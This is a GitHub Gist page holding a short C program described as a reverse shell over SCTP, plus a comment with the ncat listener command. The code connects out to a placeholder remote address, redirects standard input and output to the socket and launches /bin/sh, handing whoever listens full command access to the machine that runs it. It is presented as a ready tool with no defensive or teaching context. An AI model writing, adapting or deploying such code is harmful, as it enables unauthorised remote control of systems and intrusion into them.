-
-
Save waywardsun/b11010eb5595c1f73ed590ec95430df3 to your computer and use it in GitHub Desktop.
Simple C code to create a reverse shell over SCTP
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// server: ncat -v --sctp -l PORT_NUM | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <netinet/in.h> | |
#include <netinet/sctp.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <arpa/inet.h> | |
#include <string.h> | |
#define REMOTE_ADDR "XXX.XXX.XXX.XXX" | |
#define REMOTE_PORT XXX | |
int main(int argc, char *argv[]) | |
{ | |
struct sockaddr_in sa; | |
int s; | |
bzero((void *)&sa, sizeof(sa)); | |
sa.sin_family = AF_INET; | |
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR); | |
sa.sin_port = htons(REMOTE_PORT); | |
s = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); | |
connect(s, (struct sockaddr *)&sa, sizeof(sa)); | |
dup2(s, 0); | |
dup2(s, 1); | |
dup2(s, 2); | |
execve("/bin/sh", 0, 0); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment